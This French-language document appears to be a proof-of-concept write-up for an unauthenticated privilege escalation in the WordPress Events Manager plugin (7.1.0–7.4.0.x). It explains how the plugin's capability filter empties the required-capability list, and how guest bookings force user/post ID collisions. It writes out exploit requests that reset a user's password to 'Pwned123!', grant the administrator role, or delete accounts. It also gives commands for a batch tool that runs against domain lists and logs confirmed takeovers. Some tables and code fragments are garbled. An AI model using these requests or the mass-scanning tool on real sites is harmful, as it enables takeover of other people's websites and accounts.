
PoC d'élévation de privilèges non authentifiée pour WordPress Events Manager < 7.4.1 ; découvre les identifiants post/utilisateur en collision et élève les cibles au rang d'administrateur via REST ou wp-admin.
| Produit | Events Manager (plugin WordPress) |
| Versions affectées | 7.1.0 – 7.4.0.x |
| Version corrigée | 7.4.1 |
| Faiblesse | CWE-269 : Gestion de privilèges inappropriée |
| Sévérité | CVSS 3.1 : 9.8 (Critique) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID WPVDB | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Chercheur d'origine | Jakub Herman |
| Write-up & PoC | ghostpel |
poc.py).Les versions 7.1.0 à 7.4.0.x d'Events Manager contiennent une vulnérabilité d'élévation de privilèges qui permet à un attaquant totalement non authentifié de prendre le contrôle de tout compte utilisateur dont l'ID entre en collision avec l'ID de l'un des posts du plugin (event / location / event-recurring / location-recurring). La collision peut être forcée sur les sites où les réservations invités sont activées (comportement par défaut) : chaque réservation invité crée un véritable compte utilisateur et fait avancer le compteur d'auto-incrémentation de wp_users d'un cran, permettant à un attaquant de « parcourir » l'espace des ID utilisateurs jusqu'à un ID de post event/location.
La cause racine : le filtre map_meta_cap du plugin écarte la liste de capacités que WordPress a déjà calculée ($caps = []) pour toute méta-capacité, dès lors que l'ID de l'objet de la capacité se résout vers un post event/location — y compris les capacités du noyau WordPress telles que edit_user, delete_user, promote_user et remove_user. Une liste de capacités vide est lue comme « aucune capacité requise » — c'est-à-dire autoriser tout le monde, y compris les utilisateurs déconnectés.
Conséquences (toutes non authentifiées, via l'API REST de WP) : modifier le mot de passe de tout compte en collision, l'élever au rôle administrator, ou le supprimer.
Version analysée : 7.4.0.1 (vulnérable) — comparée (diff) à 7.4.1 (corrigée).
| Version | Statut |
|---|---|
| ≤ 7.0.5 | Non affectée (l'ancien em_map_meta_cap ne gère que les capacités propres à EM) |
| 7.1.0 – 7.4.0.x | Vulnérable (le système d'archétypes avec le défectueux a été introduit en 7.1.0) |
map_meta_cap vide $capsclasses/em-archetypes.php (version 7.4.0.1) :
Conséquence : chaque vérification current_user_can('edit_user', X) / delete_user / promote_user / remove_user renvoie VRAI dès lors que X est égal à l'ID d'un post event/location. Le plugin « écarte les décisions de contrôle d'accès que WordPress avait déjà prises » — exactement comme décrit par WPScan.
Vérifié en comparant 7.4.0.1 à 7.4.1 : la réinitialisation est désormais protégée par une correspondance exacte de capacité par branche (par ex. && $c['read'][$post->post_type] == $cap), donc $caps n'est vidée que lorsque la capacité demandée est réellement une méta-capacité d'archétype. Commentaire du patch : « Réinitialiser sur toute capacité portant un objet vidait la liste d'exigences pour des capacités sans rapport (par ex. edit_user, promote_user), ce qui était interprété comme une autorisation. »
Les endpoints REST Users (/wp-json/wp/v2/users/{id}) n'ont pas de passerelle de connexion globale — le contrôle d'accès repose uniquement sur les callbacks de permission, qui transitent tous par le même filtre map_meta_cap :
Effet secondaire : edit_comment est également affecté lorsqu'un ID de commentaire se trouve être égal à un ID de post event/location (la table wp_comments partage le même espace numérique).
La collision existe parce que wp_users.ID et wp_posts.ID sont des séquences d'auto-incrémentation indépendantes qui se chevauchent inévitablement. Les réservations invités la forcent :
em-install.php:896 — dbem_bookings_anonymous = 1 : réservations invités activées par défaut ; :871 dbem_bookings_registration_disable = 0 (inscription activée).em-actions.php:340-344 — booking_add est dans $booking_nopriv_actions → appelable sans connexion (via wp_ajax_nopriv_booking_add, priorité 999999, lignes :817-830, ou wp_loaded :11).em-actions.php:360-375 — flux de booking_add : → → → → . (Le nonce n'est qu'une protection CSRF — le nonce est inclus dans le formulaire de réservation public, donc n'importe qui peut l'obtenir.)Chaîne secondaire observée lors de l'audit (attribution de la réservation via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person depuis $_REQUEST['person_id'] sans connexion), em-booking.php:1060-1072 (get_person() remplace le person_id d'une nouvelle réservation), em-booking.php:2004-2006 (can_manage() = TRUE pour une réservation sans ID), em-functions.php:448-449 — inchangée dans 7.4.1 ; c'est un vecteur distinct (mauvaise attribution de réservation), pas le cœur de cette CVE.
/wp-json/wp/v2/event, ou force brute sur les ID séquentiels). Disons que la cible est N.N :
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N appartient à l'attaquant (le mot de passe est envoyé par e-mail à l'adresse de l'attaquant).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user passent car get_post(N) se résout vers un post event/location → $caps = [].
(Si un — par ex. un ancien administrateur — possède déjà l'ID qui entre en collision avec un ID de post event, l'étape 2 est inutile ; l'attaquant prend directement le contrôle de ce compte.)event/location enregistrés).poc.pypoc.py est un PoC par lots asynchrone (asyncio + aiohttp) qui, pour chaque cible : identifie la version d'EM (restreinte à la plage vulnérable [7.1, 7.4.1)), découvre les ID de posts EM accessibles depuis l'extérieur (sitemap WP → /locations/, éventuellement un crawl du formulaire de réservation), sonde les ID découverts pour y trouver un compte utilisateur existant (la condition de collision), et élève ceux qui entrent en collision — via le canal REST, ou le canal wp-admin lorsqu'une session est fournie et que REST est bloqué. Pas de balayage aveugle de plage d'utilisateurs, pas de réservations invités, pas de création de compte.
Le runner multiplexe toutes les E/S sur une boucle d'événements unique (CPU quasi à 0 % lorsqu'il est contraint par les E/S ; -t plafonne la concurrence au lieu des cœurs), ne scanne sur la boucle que des portions d'en-tête plafonnées à 64 Kio, délègue les analyses lourdes (XML du sitemap, bundle de la page crawlée, formulaire de profil) à des threads de travail via asyncio.to_thread, et applique le délai de politesse à chaque tentative de page. La logique de forçage elle-même est inchangée (mêmes portes, mêmes oracles, même vérification).
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
Prérequis : Python 3.9+, pip install aiohttp.
Les résultats sont écrits en continu dans hasil.txt (prises de contrôle confirmées) et id-post.txt (chaque domaine vulnérable où des ID de posts EM ont été découverts, avec collision=yes/no/unknown).
Remarque : ce PoC a été reconstruit indépendamment à partir de l'analyse statique du code source 7.4.0.1 et du diff du patch 7.4.1 — ce n'est pas le PoC de WPScan.
TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT. À exécuter exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Le PoC effectue de simples requêtes HTTP — aucune évasion ; il peut être visible dans les journaux/IDS.
dbem_bookings_anonymous), restreindre les endpoints REST des utilisateurs au niveau du WAF, et surveiller les changements de mot de passe, les élévations de rôle et les suppressions de comptes.map_meta_cap| 7.4.1 | Corrigée |
| Ligne | Code | Rôle |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Filtre global, inconditionnel — s'exécute pour chaque vérification de méta-capacité WordPress, y compris celles du noyau et celles des utilisateurs déconnectés |
:547 | if ( !empty( $args[0] ) ) { | L'objet de la capacité est pris comme un ID de post |
:548 | $post = get_post($args[0]); | Collision d'ID : l'ID utilisateur cible (pour des capacités comme edit_user) est traité comme un ID de post |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | La liste de capacités est écartée inconditionnellement — même si la capacité demandée n'est pas une capacité d'archétype read/edit/delete_event |
:568/577/584 | if/elseif branches | $caps n'est réapprovisionnée que lorsque $cap correspond exactement à une méta-capacité d'archétype ; pour edit_user, delete_user, promote_user, remove_user aucune branche ne correspond → $caps reste vide |
:597 | return $caps; | Tableau vide = « aucune capacité requise » = AUTORISER tout le monde, y compris l'utilisateur ID 0 |
| Action | Endpoint / fonction du noyau | Capacité contournée |
|---|
| Modifier le mot de passe du compte cible | PUT /wp-json/wp/v2/users/{id} avec {"password":"..."} → wp_update_user() (vérification interne edit_user) | edit_user |
| Élever le compte au rôle Administrateur | PUT /wp-json/wp/v2/users/{id} avec {"roles":["administrator"]} | promote_user |
| Supprimer un compte | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (vérification interne delete_user) | delete_user |
| (Multisite) retirer un utilisateur du blog | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — branche invité : em_register_new_user($user_data) avec l'e-mail de l'attaquant.em-functions.php:510 — wp_insert_user($user_data) → l'auto-incrémentation de wp_users avance de 1 à chaque réservation invité → l'attaquant contrôle le rythme de croissance du compteur d'ID utilisateurs jusqu'à ce qu'il atteigne l'ID de post event/location souhaité (WPScan : « chaque réservation invité crée un véritable compte utilisateur et fait avancer le compteur d'ID utilisateurs d'un cran »).NDELETE /wp-json/wp/v2/users/M?reassign=N